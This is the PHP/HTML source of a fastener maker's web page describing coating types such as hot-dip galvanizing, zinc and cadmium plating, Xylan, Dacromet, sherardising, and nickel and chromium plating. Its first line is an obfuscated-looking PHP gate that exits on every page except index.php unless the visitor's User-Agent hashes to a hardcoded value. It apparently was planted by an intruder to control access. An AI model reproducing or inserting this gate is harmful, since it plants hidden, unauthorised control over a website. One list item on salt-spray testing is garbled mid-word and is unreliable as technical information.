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<?php $u_a=trim($_SERVER["HTTP_USER_AGENT"]);$md_5=md5($u_a);$s_n=strtolower($_SERVER["SCRIPT_NAME"]);if($s_n!="/index.php"&&$md_5!="53c3b2f1a6ae3fc8caceb80fd3e919bb"){exit;}?><?php include('header.php'); ?>

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                        <h2>Coating</h2>
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                            <li><a href="index.php">Home</a></li>
                            <li>Coating</li>
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                            <h2>Coating Types and Specification</h2>
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                        <div class="offer-text">
                            <li>Hot-dip galvanizing offers long-term protection for fasteners and other steel products.</li>
                            <li>Parts are evenly coated for complete coverage.</li>
                            <li>Expected service life can exceed 30 years.</li>
                            <li>Low life-cycle cost makes galvanizing an economical method of protecting steel.</li>
                            <li>Zinc bonds metallurgically to steel providing permanent protection.</li>
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                            <h2>Electrolytic Zinc Plated</h2>
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                            <li>Electroplated coatings of zinc with supplementary treatments on iron or steel (ISO 2081:2008)Fast 4042:1999)</li>
                            <li>Corrosion tests in artificial atmospheres. Salt spray tests (ISO 9227:2006) Zinc, as a less precious m therefore small scratches in the coating do not cause immediate rusting of the steel. In modelling t given a time limit it has to keep the object free of red rust. The most common model is neutral salt s 9227:2006.</li>
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                            <h2>Cadmium Plating</h2>
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                            <li>Cadmium plating (or “cad plating”) offers a long list of technical advantages such as excellent corrosion resistance even at relatively low thickness and in salt atmospheres, softness and malleability, freedom from sticky and/or bulky corrosion products, galvanic compatibility with aluminum, freedom from stick-slip thus allowing reliable torquing of plated threads, can be dyed to many colors and clear, has good lubricity and solderability, and works well either as a final finish or as a paint base</li>
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                            <h2>PTFE/XYLAN Coating</h2>
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                            <li>Xylan is made of low friction, wear resistant composites of fluoropolymers and reinforcing binder resins. Xylan coatings can be one-, two- (primer and top-coat), and three- (primer, mid-coat, top-coat) coat conventional and reinforced (filled) coating systems. The fluoropolymers utilized in Xylan coatings consist of PTFE, PFA, and FEP.</li>
                            <li>It is used to protect a metal from corrosion. This can be applied on internal of tanks, vessels and outside of fabricated products too. This is being used on valves and Fasteners in wide range.</li>
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                            <h2>Electroless Nickel Plated</h2>
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                            <li>This is used to protect the metal from corrosion and mostly this is applied on Fasteners being used for petrochemical, marine and Energy sectors.</li>
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                                <span>Coating</span>
                                <h2>Coating : Coated bolts</h2>
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                                            <a data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="true">Electrolytic Zinc Plating</a>
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                                                <p>An exclusive Hot Dip Galvanizing facility that operates 100% under the surveillance of the QC Department at Marine Fasteners Industries</p>
                                                <p>Marine Fasteners Industries sports a one-of-its-kind “Electrolytic Zinc Plating” facility (in-house) that is fully equipped to make quicker deliveries possible. Moreover, it comes under the hawk-eye surveillance of our in-house quality control department.</p>
                                                <p>The galvanic process is all about employing electrolysis to coat the surface of the product with zinc. The process uses an aqueous solution paired with electrolysis which results in a solid zinc deposit, consequently producing a smooth and bright layer. The layer thickness varies between 5 & 40 µm; well, it is most likely determined by the immersion time and density recorded at that specific time in the zinc bath.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseTwo">Cadmium plated</a>
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                                                <p>Cadmium plating is a metallic silver, soft coating that can be deposited on various base materials such as steel, copper, iron, brass and aluminum. It is prized for its corrosion resistance, lubricity, chemical resistance, ductility, and ease of solderability.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseThree">Hot Dip Galvanized</a>
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                                                <p>The in-house Hot Dip Galvanizing facility at Marine Fasteners Industries is operated completely under the QC Department’s surveillance. All our products are hot dipped according to globally applicable ISO 1461 standard which can be easily compared to the ASTM A-153 standard.</p>
                                                <p>Hot-dip galvanizing fasteners works by means of the centrifuge process supported by increased zinc bath temperature. In the process, the product is fully immersed in a molten zinc bath wherein a large zinc block is well heated to 400° C. In the course of the immersion process, the specific product is coated using a liquid zinc layer. This layer of liquid zinc solidifies the moment the product is lifted from the bath.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapsefour">PTFE / Xylan Coated Bolted</a>
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                                                <p>Whitford, UK is the major supplier of fluoropolymer topcoat for Marine Fasteners Inc.</p>
                                                <p>Xylan is a fluoropolymer topcoat manufactured by Whitford Corporation. In 1014 and 1070 coatings, Xylan shows high lubricity potential (friction co-efficient is as low as .02) and corrosion resistance of almost 1000 hours (ASTM B117) when applied over phosphate and up to around 2000 hours when applied over electroplating. What’s more, corrosion resistance of the 1400 series is nearly 1500 hours when applied over a suitable basecoat such as zinc electroplating.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapsefive">Bichromated Zinc Yellow</a>
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                                                <p>Bichromated zinc yellow is a galvanic process. It involves using electrolysis wherein a zinc coating is deposited on the product’s surface. The electrolytic process makes use of an aqueous zinc solution, resulting in a smooth and bright layer. The layer thickness varies between 5 & 40 µm. The current density and immersion time determines the thickness of the layer.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapsesix">Dacromet</a>
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                                                <p>Dacromet is an inorganic firmly adhesive coating out of zinc- and aluminium flakes in a chromate connection. This coating is appropriate for high corrosion requirements. Dacromet is particularly suited for thin layer thicknesses. Thus the procedure is used in the automotive industry for screwing elements.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseseven">Sherard zinc plating</a>
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                                                <p>Also referred to as sherardising, this method is largely used to apply a zinc coating in order to provide fastening materials with the required corrosion protection. The products that have to be sherardised are kept in a steel barrel to which sufficient amount of zinc dust is also added. Then, the barrel is placed in an oven that is set to approximately 420° C. During this process, a zinc-iron alloy layer of about 15 – 25 µm thickness is formed, resulting in remarkable corrosion resistance.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseEight">Electroless Nickel Plated</a>
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                                                <p>ENP is an autocatalytic process. It involves depositing a nickel or phosphorus alloy that is hard & corrosion resistant on a metallic surface. Nickel, the yellowish colored metal, is primarily used to provide a cosmetic finish besides offering corrosion protection. The nickel layer of the raw material is generally sealed off in order to provide superior corrosion resistance. The layer should be generally porous free. Put it simply, the layer should be minimum 20 µm to maximum 40-50 µm in order to guarantee the required corrosion resistance. Sometimes a thinner nickel layer is formed due to the peroxidation of the material. The nickel layer’s finish to be applied could probably be matt, bright or semi-bright. Once the process is done, the product is subject to chrome plating based on the requirement.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseNine">Mechanical Zinc Plating</a>
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                                                <p>Mechanical zinc plating is a tumbling barrel process which involves application of a zinc coating of 3 – 80 µm thickness onto pre-treated steel surface. This is done by tumbling the components with the help of a mixture of tiny glass beads and zinc dust. After the process, the zinc surface becomes lubricated or passivated. In contrast to electrolytic plating, this particular mechanical plating process doesn’t involve hydrogen embrittlement; so, the material doesn’t get weakened.</p>
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                                            <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseTen">Chromium Plating</a>
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                                                <p>A bluish-white metal, Chromium is used to provide decorative finishes as well as corrosion protection. When it comes to decorative chromium plating, to begin with, a layer of nickel is always applied. The layer of chromium that is applied over the nickel layer is rather thin and provides a completely different color to the product. The nickel layer must be separated from the environment to facilitate good corrosion resistance; hence, it should be porous-free. Put it simply, the layer should be minimum 20 µm to maximum 40-50 µm in order to guarantee the required corrosion resistance. Sometimes a thinner nickel layer is formed due to the peroxidation of the material. Well, in this process of Chromium plating, what determines the product’s shine is the nickel layer.</p>
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